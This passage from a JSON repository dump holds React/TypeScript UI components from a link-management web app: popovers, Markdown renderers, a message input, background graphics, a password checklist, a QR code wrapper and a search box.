    "content": "import { handleMoneyInputChange, handleMoneyKeyDown } from \"@/lib/form-utils\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Check2,\n  MarkdownIcon,\n  Plus,\n  Popover,\n  RichTextArea,\n  RichTextProvider,\n  RichTextToolbar,\n  useScrollProgress,\n} from \"@dub/ui\";\nimport { cn, nFormatter } from \"@dub/utils\";\nimport { Command } from \"cmdk\";\nimport {\n  createContext,\n  forwardRef,\n  HTMLProps,\n  PropsWithChildren,\n  ReactNode,\n  useContext,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { v4 as uuid } from \"uuid\";\n\nexport const InlineBadgePopoverContext = createContext<{\n  isOpen: boolean;\n  setIsOpen: (isOpen: boolean) => void;\n}>({\n  isOpen: false,\n  setIsOpen: () => {},\n});\n\nexport function InlineBadgePopover({\n  text,\n  invalid,\n  showOptional,\n  disabled,\n  children,\n  buttonClassName,\n  contentClassName,\n}: PropsWithChildren<{\n  text: ReactNode;\n  invalid?: boolean;\n  showOptional?: boolean;\n  disabled?: boolean;\n  buttonClassName?: string;\n  contentClassName?: string;\n}>) {\n  const [isOpen, setIsOpen] = useState(false);\n\n  return (\n    <Popover\n      openPopover={isOpen}\n      setOpenPopover={setIsOpen}\n      align=\"start\"\n      content={\n        <InlineBadgePopoverContext.Provider value={{ isOpen, setIsOpen }}>\n          <div className=\"w-full min-w-32 p-1 text-sm sm:w-auto\">\n            {children}\n          </div>\n        </InlineBadgePopoverContext.Provider>\n      }\n      onWheel={(e) => {\n        // Allows scrolling to work when the popover's in a modal/sheet\n        e.stopPropagation();\n      }}\n    >\n      <button\n        type=\"button\"\n        disabled={disabled}\n        className={cn(\n          \"inline-block rounded px-1.5 text-left text-sm font-semibold transition-colors\",\n          invalid\n            ? \"bg-orange-50 text-orange-500 hover:bg-orange-100 data-[state=open]:bg-orange-100\"\n            : showOptional\n              ? \"bg-neutral-100 text-neutral-500 hover:bg-neutral-200 data-[state=open]:bg-neutral-200\"\n              : \"bg-blue-50 text-blue-700 hover:bg-blue-100 data-[state=open]:bg-blue-100\",\n          buttonClassName,\n        )}\n      >\n        <span className={contentClassName}>{text}</span>\n      </button>\n    </Popover>\n  );\n}\n\ntype MenuItem<T> = {\n  icon?: ReactNode;\n  text: string;\n  value: T;\n  onSelect?: () => void;\n};\n\nexport function InlineBadgePopoverMenu<T extends any>({\n  items,\n  onSelect,\n  selectedValue,\n  search,\n}: {\n  items: MenuItem<T>[];\n  onSelect?: (value: T) => void;\n  selectedValue?: T | T[];\n  search?: boolean;\n}) {\n  const { setIsOpen, isOpen } = useContext(InlineBadgePopoverContext);\n\n  const isMultiSelect = Array.isArray(selectedValue);\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  const sortedItems = useMemo(\n    () =>\n      items.toSorted((a, b) => {\n        const aSelected = isMultiSelect\n          ? selectedValue?.includes(a.value)\n          : selectedValue === a.value;\n        const bSelected = isMultiSelect\n          ? selectedValue?.includes(b.value)\n          : selectedValue === b.value;\n\n        // First sort by whether the items are selected\n        if (aSelected !== bSelected) return aSelected ? -1 : 1;\n\n        // Then sort as per the original order of the items\n        return items.indexOf(a) - items.indexOf(b);\n      }),\n    [items, isMultiSelect, selectedValue],\n  );\n\n  const [displayedItems, setDisplayedItems] =\n    useState<MenuItem<T>[]>(sortedItems);\n\n  // Update the displayed items to sorted when closed\n  useEffect(() => {\n    if (!isOpen) setDisplayedItems(sortedItems);\n  }, [isOpen, sortedItems]);\n\n  return (\n    <Command loop className=\"focus:outline-none\">\n      {search && (\n        <div className=\"-mx-1 -mt-1 mb-1 flex items-center overflow-hidden rounded-t-lg border-b border-neutral-200\">\n          <Command.Input\n            placeholder=\"Search\"\n            className=\"border-0 bg-transparent py-2 pl-4 pr-2 outline-none placeholder:text-neutral-400 focus:ring-0 sm:text-sm\"\n          />\n        </div>\n      )}\n      <AnimatedSizeContainer height>\n        <div className=\"relative\">\n          <Command.List\n            className=\"scrollbar-hide flex max-h-64 max-w-52 flex-col gap-1 overflow-y-auto transition-all\"\n            ref={scrollRef}\n            onScroll={updateScrollProgress}\n          >\n            {displayedItems.map(\n              ({ icon, text, value, onSelect: itemOnSelect }) => (\n                <Command.Item\n                  key={text}\n                  value={`${text} ${value}`}\n                  onSelect={() => {\n                    itemOnSelect?.();\n                    onSelect?.(value);\n                    !isMultiSelect && setIsOpen(false);\n                  }}\n                  className=\"flex cursor-pointer items-center justify-between rounded-md px-1.5 py-1 transition-colors duration-150 data-[selected=true]:bg-neutral-100\"\n                >\n                  <div className=\"flex items-center gap-2\">\n                    {icon}\n                    <span className=\"text-content-default pr-3 text-left text-sm font-medium\">\n                      {text}\n                    </span>\n                  </div>\n                  {(Array.isArray(selectedValue)\n                    ? selectedValue.includes(value)\n                    : selectedValue === value) && (\n                    <Check2 className=\"text-content-emphasis size-3.5 shrink-0\" />\n                  )}\n                </Command.Item>\n              ),\n            )}\n          </Command.List>\n          <div\n            className=\"pointer-events-none absolute bottom-0 left-0 hidden h-12 w-full rounded-b-lg bg-gradient-to-t from-white sm:block\"\n            style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n          />\n        </div>\n      </AnimatedSizeContainer>\n    </Command>\n  );\n}\n\nexport const InlineBadgePopoverInput = forwardRef<\n  HTMLInputElement,\n  HTMLProps<HTMLInputElement>\n>(({ maxLength, className, ...rest }: HTMLProps<HTMLInputElement>, ref) => {\n  const { setIsOpen } = useContext(InlineBadgePopoverContext);\n\n  return (\n    <label\n      className={cn(\n        \"flex w-full rounded-md border border-neutral-300 shadow-sm focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500 sm:w-32\",\n        className,\n      )}\n    >\n      <input\n        ref={ref}\n        className={cn(\n          \"block min-w-0 grow rounded-md border-none px-1.5 py-1 text-neutral-900 placeholder-neutral-400 sm:text-sm\",\n          \"focus:outline-none focus:ring-0\",\n          maxLength && \"pr-0\",\n        )}\n        onKeyDown={(e) => {\n          if (e.key === \"Enter\") {\n            e.preventDefault();\n            setIsOpen(false);\n          }\n        }}\n        maxLength={maxLength}\n        {...rest}\n      />\n      {maxLength && (\n        <span className=\"relative -ml-4 flex shrink-0 items-center pl-5 pr-1.5 text-xs text-neutral-500\">\n          <span className=\"absolute inset-y-0 left-0 block w-4 bg-gradient-to-l from-white\" />\n          <span>\n            {rest.value?.toString().length || 0}/{maxLength}\n          </span>\n        </span>\n      )}\n    </label>\n  );\n});\n\nexport const InlineBadgePopoverInputs = ({\n  values: valuesProp,\n  onChange,\n  inputProps,\n}: {\n  values: string[];\n  onChange: (values: string[]) => void;\n  inputProps?: HTMLProps<HTMLInputElement>;\n}) => {\n  const [values, setValues] = useState<{ id: string; value: string }[]>(() =>\n    valuesProp.map((value) => ({ id: uuid(), value })),\n  );\n\n  // Kinda nasty but allows the component to only receive/return the values array without needing external IDs\n  useEffect(() => {\n    const currentValues = values.map(({ value }) => value);\n    if (JSON.stringify(currentValues) !== JSON.stringify(valuesProp)) {\n      // Values have changed: generate new IDs\n      setValues(valuesProp.map((value) => ({ id: uuid(), value })));\n    }\n  }, [valuesProp, values]);\n\n  const handleUpdate = (id: string, newValue: string) => {\n    const updatedValues = values.map((item) =>\n      item.id === id ? { ...item, value: newValue } : item,\n    );\n    setValues(updatedValues);\n    onChange(updatedValues.map(({ value }) => value));\n  };\n\n  const handleDelete = (id: string) => {\n    const updatedValues = values.filter((item) => item.id !== id);\n    setValues(updatedValues);\n    onChange(updatedValues.map((item) => item.value));\n  };\n\n  const handleAppend = () => {\n    const newItem = { id: uuid(), value: \"\" };\n    const updatedValues = [...values, newItem];\n    setValues(updatedValues);\n    onChange(updatedValues.map((item) => item.value));\n  };\n\n  return (\n    <div className=\"flex flex-col gap-1\">\n      {values.map(({ id, value }, index) => (\n        <div className=\"flex items-center gap-1\" key={id}>\n          <input\n            className={cn(\n              \"relative block w-full rounded-md border-neutral-300 px-1.5 py-1 text-neutral-900 placeholder-neutral-400 shadow-sm sm:w-32 sm:text-sm\",\n              \"focus:border-neutral-500 focus:outline-none focus:ring-neutral-500\",\n            )}\n            value={value}\n            onChange={(e) => handleUpdate(id, e.target.value)}\n            autoFocus={index === values.length - 1}\n            {...inputProps}\n          />\n          {values.length > 1 && (\n            <Button\n              variant=\"outline\"\n              className=\"h-6 w-fit px-1\"\n              icon={<X className=\"size-4\" />}\n              onClick={() => handleDelete(id)}\n            />\n          )}\n        </div>\n      ))}\n      <Button\n        variant=\"outline\"\n        className=\"h-4 w-full px-1\"\n        icon={<Plus className=\"size-3\" />}\n        onClick={handleAppend}\n      />\n    </div>\n  );\n};\n\nexport const InlineBadgePopoverAmountInput = forwardRef<\n  HTMLInputElement,\n  Omit<HTMLProps<HTMLInputElement>, \"type\"> & {\n    type: \"currency\" | \"percentage\" | \"number\";\n  }\n>(({ type, className, onKeyDown, onChange, ...rest }, ref) => {\n  const { setIsOpen } = useContext(InlineBadgePopoverContext);\n\n  return (\n    <div className={cn(\"relative rounded-md shadow-sm\", className)}>\n      {type === \"currency\" && (\n        <span className=\"absolute inset-y-0 left-0 flex items-center pl-1.5 text-sm text-neutral-400\">\n          $\n        </span>\n      )}\n      <input\n        ref={ref}\n        className={cn(\n          \"block w-full rounded-md border-neutral-300 px-1.5 py-1 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:w-32 sm:text-sm\",\n          type === \"currency\" && \"pl-4 pr-12\",\n          type === \"percentage\" && \"pr-7\",\n        )}\n        onKeyDown={(e) => {\n          if (e.key === \"Enter\") {\n            e.preventDefault();\n            setIsOpen(false);\n          }\n          handleMoneyKeyDown(e);\n          onKeyDown?.(e);\n        }}\n        onChange={(e) => {\n          handleMoneyInputChange(e);\n          onChange?.(e);\n        }}\n        {...rest}\n      />\n      {[\"currency\", \"percentage\"].includes(type) && (\n        <span className=\"absolute inset-y-0 right-0 flex items-center pr-1.5 text-sm text-neutral-400\">\n          {type === \"currency\" ? \"USD\" : \"%\"}\n        </span>\n      )}\n    </div>\n  );\n});\n\nexport const InlineBadgePopoverRichTextArea = ({\n  value,\n  onChange,\n  maxLength,\n  className,\n}: {\n  value: string;\n  onChange: (value: string) => void;\n  maxLength: number;\n  className?: string;\n}) => {\n  const { setIsOpen } = useContext(InlineBadgePopoverContext);\n\n  return (\n    <div>\n      <div\n        className={cn(\n          \"w-full rounded-md border border-neutral-300 shadow-sm focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500 sm:w-32\",\n          className,\n        )}\n      >\n        <div>\n          <RichTextProvider\n            features={[\"bold\", \"italic\", \"links\"]}\n            style=\"condensed\"\n            markdown\n            placeholder=\"Reward tooltip\"\n            editorClassName=\"block max-h-24 w-full resize-none border-none overflow-auto scrollbar-hide p-3 text-base sm:text-sm\"\n            initialValue={value}\n            onChange={(editor) => onChange((editor as any).getMarkdown())}\n            autoFocus\n            editorProps={{\n              handleDOMEvents: {\n                keydown: (_, e) => {\n                  if (e.key === \"Enter\" && (e.metaKey || e.ctrlKey)) {\n                    e.preventDefault();\n                    e.stopPropagation();\n                    setIsOpen(false);\n                    return false;\n                  }\n                },\n              },\n            }}\n          >\n            <RichTextArea />\n\n            <div className=\"flex items-center justify-between gap-4 px-1 pb-1\">\n              <RichTextToolbar />\n            </div>\n          </RichTextProvider>\n        </div>\n      </div>\n      <div className=\"mt-1 flex items-center justify-between px-1\">\n        {maxLength ? (\n          <div className=\"text-content-subtle mt-1 text-xs\">\n            {nFormatter(value?.toString().length || 0, { full: true })}/\n            {nFormatter(maxLength, { full: true })} characters\n          </div>\n        ) : (\n          <div />\n        )}\n\n        <MarkdownIcon className=\"text-content-default size-4\" />\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/shared/markdown-description.tsx",
    "content": "import { cn } from \"@dub/utils\";\nimport ReactMarkdown from \"react-markdown\";\n\nexport const MarkdownDescription = ({\n  children,\n  className,\n}: {\n  children: string;\n  className?: string;\n}) => {\n  return (\n    <ReactMarkdown\n      className={cn(\n        \"text-sm text-neutral-500\",\n        \"[&_a]:cursor-help [&_a]:text-neutral-600 [&_a]:underline [&_a]:decoration-dotted [&_a]:underline-offset-2 hover:[&_a]:text-neutral-800\",\n        className,\n      )}\n      components={{\n        a: ({ children, href }) => {\n          if (!href) return null;\n          return (\n            <a href={href} target=\"_blank\">\n              {children}\n            </a>\n          );\n        },\n      }}\n    >\n      {children}\n    </ReactMarkdown>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/shared/markdown.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport ReactMarkdown from \"react-markdown\";\nimport remarkGfm from \"remark-gfm\";\n\nexport function Markdown({\n  children,\n  className,\n  components,\n}: {\n  children: string;\n  className?: string;\n  components?: any;\n}) {\n  return (\n    <ReactMarkdown\n      className={cn(\n        \"prose prose-sm prose-neutral max-w-none transition-all\",\n        \"prose-headings:leading-tight\",\n        \"prose-a:font-medium prose-a:text-neutral-900 prose-a:underline-offset-2 prose-a:decoration-dotted prose-a:cursor-alias\",\n        className,\n      )}\n      components={{\n        a: ({ node, ...props }) => (\n          <a {...props} target=\"_blank\" rel=\"noopener noreferrer\" />\n        ),\n        ...components,\n      }}\n      remarkPlugins={[remarkGfm] as any}\n    >\n      {children}\n    </ReactMarkdown>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/max-characters-counter.tsx",
    "content": "import { cn, nFormatter } from \"@dub/utils\";\nimport { Control, useWatch } from \"react-hook-form\";\n\nexport function MaxCharactersCounter({\n  name,\n  maxLength,\n  control,\n  spaced,\n  className,\n}: {\n  name: string;\n  maxLength: number;\n  control?: Control<any, any>;\n  spaced?: boolean;\n  className?: string;\n}) {\n  const value = useWatch({ control, name });\n\n  return (\n    <span className={cn(\"text-content-subtle text-xs tabular-nums\", className)}>\n      {nFormatter(value?.toString().length || 0, { full: true })}\n      {spaced && \" \"}/{spaced && \" \"}\n      {nFormatter(maxLength, { full: true })}\n    </span>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/message-input.tsx",
    "content": "import { MAX_MESSAGE_LENGTH } from \"@/lib/zod/schemas/messages\";\nimport {\n  ArrowTurnLeft,\n  Button,\n  FaceSmile,\n  RichTextArea,\n  RichTextProvider,\n  RichTextToolbar,\n  RichTextToolbarButton,\n  useRichTextContext,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useRef, useState } from \"react\";\nimport { EmojiPicker } from \"../shared/emoji-picker\";\n\nexport function MessageInput({\n  onSendMessage,\n  defaultValue,\n  onCancel,\n  autoFocus,\n  placeholder = \"Type a message...\",\n  sendButtonText = \"Send\",\n  className,\n}: {\n  onSendMessage: (message: string) => void | false;\n  defaultValue?: string;\n  onCancel?: () => void;\n  autoFocus?: boolean;\n  placeholder?: string;\n  sendButtonText?: string;\n  className?: string;\n}) {\n  const richTextRef = useRef<{ setContent: (content: any) => void }>(null);\n  const [typedMessage, setTypedMessage] = useState(defaultValue || \"\");\n\n  const sendMessage = () => {\n    const message = typedMessage.trim();\n    if (!message || message.length >= MAX_MESSAGE_LENGTH) return;\n\n    if (onSendMessage(message) !== false) {\n      setTypedMessage(\"\");\n      richTextRef.current?.setContent(\"\");\n    }\n  };\n\n  return (\n    <div\n      className={cn(\n        \"border-border-subtle overflow-hidden rounded-xl border focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\",\n        className,\n      )}\n    >\n      <RichTextProvider\n        ref={richTextRef}\n        features={[\"bold\", \"italic\", \"links\"]}\n        style=\"condensed\"\n        markdown\n        autoFocus={autoFocus}\n        placeholder={placeholder}\n        editorClassName=\"block max-h-24 w-full resize-none border-none overflow-auto scrollbar-hide p-3 text-base sm:text-sm\"\n        initialValue={defaultValue}\n        onChange={(editor) => setTypedMessage((editor as any).getMarkdown())}\n        editorProps={{\n          handleDOMEvents: {\n            keydown: (_, e) => {\n              if (e.key === \"Enter\" && (e.metaKey || e.ctrlKey)) {\n                e.preventDefault();\n                e.stopPropagation();\n                sendMessage();\n                return false;\n              }\n            },\n          },\n        }}\n      >\n        <RichTextArea />\n\n        <div className=\"flex items-center justify-between gap-4 px-3 pb-3\">\n          <MessageInputToolbar />\n          <div className=\"flex items-center justify-between gap-2\">\n            {onCancel && (\n              <Button\n                variant=\"secondary\"\n                text=\"Cancel\"\n                onClick={onCancel}\n                className=\"h-8 w-fit rounded-lg px-4\"\n              />\n            )}\n            <Button\n              variant=\"primary\"\n              text={\n                <span className=\"flex items-center gap-2\">\n                  {sendButtonText}\n                  <span className=\"hidden items-center gap-1 sm:flex\">\n                    <span className=\"flex size-4 items-center justify-center rounded border border-neutral-700 text-[0.625rem]\">\n                      {navigator.platform.startsWith(\"Mac\") ? \"⌘\" : \"^\"}\n                    </span>\n                    <span className=\"flex size-4 items-center justify-center rounded border border-neutral-700\">\n                      <ArrowTurnLeft className=\"text-content-inverted size-2.5\" />\n                    </span>\n                  </span>\n                </span>\n              }\n              disabled={typedMessage.trim().length >= MAX_MESSAGE_LENGTH}\n              onClick={sendMessage}\n              className=\"h-8 w-fit rounded-lg px-4\"\n            />\n          </div>\n        </div>\n      </RichTextProvider>\n    </div>\n  );\n}\n\nfunction MessageInputToolbar() {\n  const { editor } = useRichTextContext();\n\n  return (\n    <RichTextToolbar\n      toolsStart={\n        <EmojiPicker\n          onSelect={(emoji) => {\n            if (!editor) return;\n            editor.chain().focus().insertContent(emoji).run();\n          }}\n        >\n          <RichTextToolbarButton icon={FaceSmile} label=\"Emoji\" />\n        </EmojiPicker>\n      }\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/modal-hero.tsx",
    "content": "import { Logo } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport Image from \"next/image\";\n\nexport function ModalHero() {\n  return (\n    <div className=\"relative h-48 w-full overflow-hidden rounded-t-2xl bg-white\">\n      <BackgroundGradient className=\"opacity-15\" />\n      <Image\n        src=\"https://assets.dub.co/misc/welcome-modal-background.svg\"\n        alt=\"Welcome to Dub\"\n        fill\n        className=\"object-cover object-top\"\n      />\n      <BackgroundGradient className=\"opacity-100 mix-blend-soft-light\" />\n      <div className=\"absolute inset-0 flex items-center justify-center\">\n        <div className=\"aspect-square h-1/2 rounded-full bg-white\">\n          <Logo className=\"size-full\" />\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction BackgroundGradient({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"absolute left-0 top-0 aspect-square w-full overflow-hidden sm:aspect-[2/1]\",\n        className,\n      )}\n    >\n      <div\n        className=\"absolute inset-0 saturate-150\"\n        style={{\n          backgroundImage: `conic-gradient(from -66deg, #855AFC -32deg, #FF0000 63deg, #EAB308 158deg, #5CFF80 240deg, #855AFC 328deg, #FF0000 423deg)`,\n        }}\n      />\n      <div className=\"absolute inset-0 backdrop-blur-[50px]\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/new-background.tsx",
    "content": "\"use client\";\n\nimport { cn } from \"@dub/utils\";\nimport Image from \"next/image\";\nimport { useState } from \"react\";\n\nexport function NewBackground({\n  showAnimation = false,\n  showGradient = true,\n}: {\n  showGradient?: boolean;\n  showAnimation?: boolean;\n}) {\n  const [isGridLoaded, setIsGridLoaded] = useState(false);\n  const [isBackgroundLoaded, setIsBackgroundLoaded] = useState(false);\n  const isLoaded = isGridLoaded && isBackgroundLoaded;\n\n  return (\n    <div\n      className={cn(\n        \"pointer-events-none fixed inset-0 overflow-hidden bg-white transition-opacity duration-300\",\n        showAnimation ? (isLoaded ? \"opacity-100\" : \"opacity-0\") : \"opacity-60\",\n      )}\n    >\n      {showGradient && <BackgroundGradient className=\"opacity-15\" />}\n      <div\n        className={cn(\n          \"absolute left-1/2 top-[57%] -translate-x-1/2 -translate-y-1/2 opacity-50 transition-all sm:opacity-100\",\n          \"[mask-composite:intersect] [mask-image:linear-gradient(transparent,black_5%,black_95%,transparent),linear-gradient(90deg,transparent,black_5%,black_95%,transparent)]\",\n        )}\n      >\n        <Image\n          src=\"https://assets.dub.co/misc/welcome-background-grid.svg\"\n          onLoad={() => setIsGridLoaded(true)}\n          alt=\"\"\n          width={1750}\n          height={1046}\n          className=\"absolute inset-0\"\n        />\n        <Image\n          src=\"https://assets.dub.co/misc/welcome-background.svg\"\n          onLoad={() => setIsBackgroundLoaded(true)}\n          alt=\"\"\n          width={1750}\n          height={1046}\n          className={cn(\n            \"relative min-w-[1000px] max-w-screen-2xl transition-opacity duration-300\",\n            \"[mask-composite:intersect] [mask-image:radial-gradient(black,transparent)]\",\n            showAnimation ? \"opacity-100\" : \"opacity-0\",\n          )}\n        />\n      </div>\n      {showGradient && (\n        <BackgroundGradient className=\"opacity-100 mix-blend-soft-light\" />\n      )}\n    </div>\n  );\n}\n\nfunction BackgroundGradient({ className }: { className?: string }) {\n  return (\n    <div\n      className={cn(\n        \"absolute left-0 top-0 aspect-square w-full overflow-hidden sm:aspect-[2/1]\",\n        \"[mask-image:radial-gradient(70%_100%_at_50%_0%,_black_70%,_transparent)]\",\n        className,\n      )}\n    >\n      <div\n        className=\"absolute inset-0 saturate-150\"\n        style={{\n          backgroundImage: `conic-gradient(from -45deg at 50% -10%, #3A8BFD 0deg, #FF0000 172.98deg, #855AFC 215.14deg, #FF7B00 257.32deg, #3A8BFD 360deg)`,\n        }}\n      />\n      <div className=\"absolute inset-0 backdrop-blur-[100px]\" />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/password-requirements.tsx",
    "content": "import { CircleCheckFill } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { memo } from \"react\";\nimport { useFormContext, useWatch } from \"react-hook-form\";\n\nconst REQUIREMENTS: {\n  name: string;\n  check: (password: string) => boolean;\n}[] = [\n  {\n    name: \"Number\",\n    check: (p) => /\\d/.test(p),\n  },\n  {\n    name: \"Uppercase letter\",\n    check: (p) => /[A-Z]/.test(p),\n  },\n  {\n    name: \"Lowercase letter\",\n    check: (p) => /[a-z]/.test(p),\n  },\n  {\n    name: \"8 chars\",\n    check: (p) => p.length >= 8,\n  },\n];\n\n/**\n * Component to display the password requirements and whether they are each met for a password field.\n *\n * Note: This component must be used within a FormProvider context.\n */\nexport const PasswordRequirements = memo(function PasswordRequirements({\n  field = \"password\",\n  className,\n}: {\n  field?: string;\n  className?: string;\n}) {\n  const {\n    formState: { errors },\n  } = useFormContext();\n  const password = useWatch({ name: field });\n\n  return (\n    <ul className={cn(\"mt-2 flex flex-wrap items-center gap-3\", className)}>\n      {REQUIREMENTS.map(({ name, check }) => {\n        const checked = password?.length && check(password);\n\n        return (\n          <li\n            key={name}\n            className={cn(\n              \"flex items-center gap-1 text-xs text-neutral-400 transition-colors\",\n              checked ? \"text-green-600\" : errors[field] && \"text-red-600\",\n            )}\n          >\n            <CircleCheckFill\n              className={cn(\n                \"size-2.5 transition-opacity\",\n                checked\n                  ? \"animate-scale-in [--from-scale:1] [--to-scale:1.2] [animation-direction:alternate] [animation-duration:150ms] [animation-iteration-count:2] [animation-timing-function:ease-in-out]\"\n                  : errors[field]\n                    ? \"text-red-600\"\n                    : \"text-neutral-200\",\n              )}\n            />\n            <span>{name}</span>\n          </li>\n        );\n      })}\n    </ul>\n  );\n});\n"
  },
  {
    "path": "apps/web/ui/shared/pro-badge-tooltip.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BadgeTooltip, InfoTooltip, type TooltipProps } from \"@dub/ui\";\nimport { Crown } from \"lucide-react\";\n\n/**\n * A dynamic badge/icon w/ tooltip based on the workspace plan:\n *\n * For a free workspace: a \"Pro\" badge\n * For a Pro workspace: an info icon (question mark circle)\n */\nexport function ProBadgeTooltip(props: Omit<TooltipProps, \"children\">) {\n  const { plan } = useWorkspace();\n\n  return plan === \"free\" ? (\n    <BadgeTooltip {...props}>\n      <div className=\"flex items-center space-x-1\">\n        <Crown size={12} />\n        <p className=\"uppercase\">Pro</p>\n      </div>\n    </BadgeTooltip>\n  ) : (\n    <InfoTooltip {...props} />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/qr-code.tsx",
    "content": "import { getQRData, QRCodeSVG } from \"@/lib/qr\";\nimport { DEFAULT_MARGIN } from \"@/lib/qr/constants\";\nimport { memo, useMemo } from \"react\";\n\nexport const QRCode = memo(\n  ({\n    url,\n    fgColor,\n    hideLogo,\n    logo,\n    scale = 1,\n    margin = DEFAULT_MARGIN,\n  }: {\n    url: string;\n    fgColor?: string;\n    hideLogo?: boolean;\n    logo?: string;\n    scale?: number;\n    margin?: number;\n  }) => {\n    const qrData = useMemo(\n      () => getQRData({ url, fgColor, hideLogo, logo, margin }),\n      [url, fgColor, hideLogo, logo, margin],\n    );\n\n    return (\n      <QRCodeSVG\n        value={qrData.value}\n        size={(qrData.size / 8) * scale}\n        bgColor={qrData.bgColor}\n        fgColor={qrData.fgColor}\n        level={qrData.level}\n        margin={qrData.margin}\n        {...(qrData.imageSettings && {\n          imageSettings: {\n            ...qrData.imageSettings,\n            height: qrData.imageSettings\n              ? (qrData.imageSettings.height / 8) * scale\n              : 0,\n            width: qrData.imageSettings\n              ? (qrData.imageSettings.width / 8) * scale\n              : 0,\n          },\n        })}\n      />\n    );\n  },\n);\n\nQRCode.displayName = \"QRCode\";\n"
  },
  {
    "path": "apps/web/ui/shared/search-box.tsx",
    "content": "\"use client\";\n\nimport { LoadingSpinner, useRouterStuff } from \"@dub/ui\";\nimport { CircleXmark, Magnifier } from \"@dub/ui/icons\";\nimport { cn } from \"@dub/utils\";\nimport {\n  forwardRef,\n  useCallback,\n  useEffect,\n  useImperativeHandle,\n  useRef,\n  useState,\n} from \"react\";\nimport { useDebouncedCallback } from \"use-debounce\";\n\ntype SearchBoxProps = {\n  value: string;\n  loading?: boolean;\n  showClearButton?: boolean;\n  onChange: (value: string) => void;\n  onChangeDebounced?: (value: string) => void;\n  debounceTimeoutMs?: number;\n  inputClassName?: string;\n  placeholder?: string;\n};\n\nexport const SearchBox = forwardRef(\n  (\n    {\n      value,\n      loading,\n      showClearButton = true,\n      onChange,\n      onChangeDebounced,\n      debounceTimeoutMs = 500,\n      inputClassName,\n      placeholder,\n    }: SearchBoxProps,\n    forwardedRef,\n  ) => {\n    const inputRef = useRef<HTMLInputElement>(null);\n    useImperativeHandle(forwardedRef, () => inputRef.current);\n\n    const debounced = useDebouncedCallback(\n      (value) => onChangeDebounced?.(value),\n      debounceTimeoutMs,\n    );\n\n    const onKeyDown = useCallback((e: KeyboardEvent) => {\n      const target = e.target as HTMLElement;\n      // only focus on filter input when:\n      // - user is not typing in an input or textarea\n      // - there is no existing modal backdrop (i.e. no other modal is open)\n      if (\n        e.key === \"/\" &&\n        target.tagName !== \"INPUT\" &&\n        target.tagName !== \"TEXTAREA\"\n      ) {\n        e.preventDefault();\n        inputRef.current?.focus();\n      } else if (e.key === \"Escape\") {\n        inputRef.current?.blur();\n      }\n    }, []);\n\n    useEffect(() => {\n      document.addEventListener(\"keydown\", onKeyDown);\n      return () => document.removeEventListener(\"keydown\", onKeyDown);\n    }, [onKeyDown]);\n\n    return (\n      <div className=\"relative\">\n        <div className=\"pointer-events-none absolute inset-y-0 left-0 flex items-center pl-4\">\n          {loading && value.length > 0 ? (\n            <LoadingSpinner className=\"h-4 w-4\" />\n          ) : (\n            <Magnifier className=\"h-4 w-4 text-neutral-400\" />\n          )}\n        </div>\n        <input\n          ref={inputRef}\n          type=\"text\"\n          className={cn(\n            \"peer w-full rounded-md border border-neutral-200 px-10 text-black outline-none placeholder:text-neutral-400 sm:text-sm\",\n            \"transition-all focus:border-neutral-500 focus:ring-4 focus:ring-neutral-200\",\n            inputClassName,\n          )}\n          placeholder={placeholder || \"Search...\"}\n          value={value}\n          onChange={(e) => {\n            onChange(e.target.value);\n            debounced(e.target.value);\n          }}\n          autoCapitalize=\"none\"\n        />\n        {showClearButton && value.length > 0 && (\n          <button\n            onClick={() => {\n              onChange(\"\");\n              onChangeDebounced?.(\"\");\n            }}\n            className=\"pointer-events-auto absolute inset-y-0 right-0 flex items-center pr-4\"\n          >\n            <CircleXmark className=\"h-4 w-4 text-neutral-600\" />\n          </button>\n        )}\n      </div>\n    );\n  },\n);\n\nexport function SearchBoxPersisted({\n  urlParam = \"search\",\n  ...props\n}: { urlParam?: string } & Partial<SearchBoxProps>) {\n  const { queryParams, searchParams } = useRouterStuff();\n\n  const [value, setValue] = useState(searchParams.get(urlParam) ?? \"\");\n  const [debouncedValue, setDebouncedValue] = useState(value);\n\n  // Set URL param when debounced value changes\n  useEffect(() => {\n    if (searchParams.get(urlParam) ?? \"\" !== debouncedValue)\n      queryParams(\n        debouncedValue === \"\"\n          ? { del: [urlParam, \"page\"] }\n          : { set: { search: debouncedValue }, del: \"page\" },\n      );\n  }, [debouncedValue]);\n\n  // Set value when URL param changes\n  useEffect(() => {\n    const search = searchParams.get(urlParam);\n    // Only update if the value and debouncedValue are synced (the user isn't actively typing)\n    if ((search ?? \"\" !== value) && value === debouncedValue)\n      setValue(search ?? \"\");\n  }, [searchParams.get(urlParam)]);\n\n  return (\n    <SearchBox\n      value={value}\n      onChange={setValue}\n      onChangeDebounced={setDebouncedValue}\n      {...props}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/shared/simple-date-range-picker.tsx",
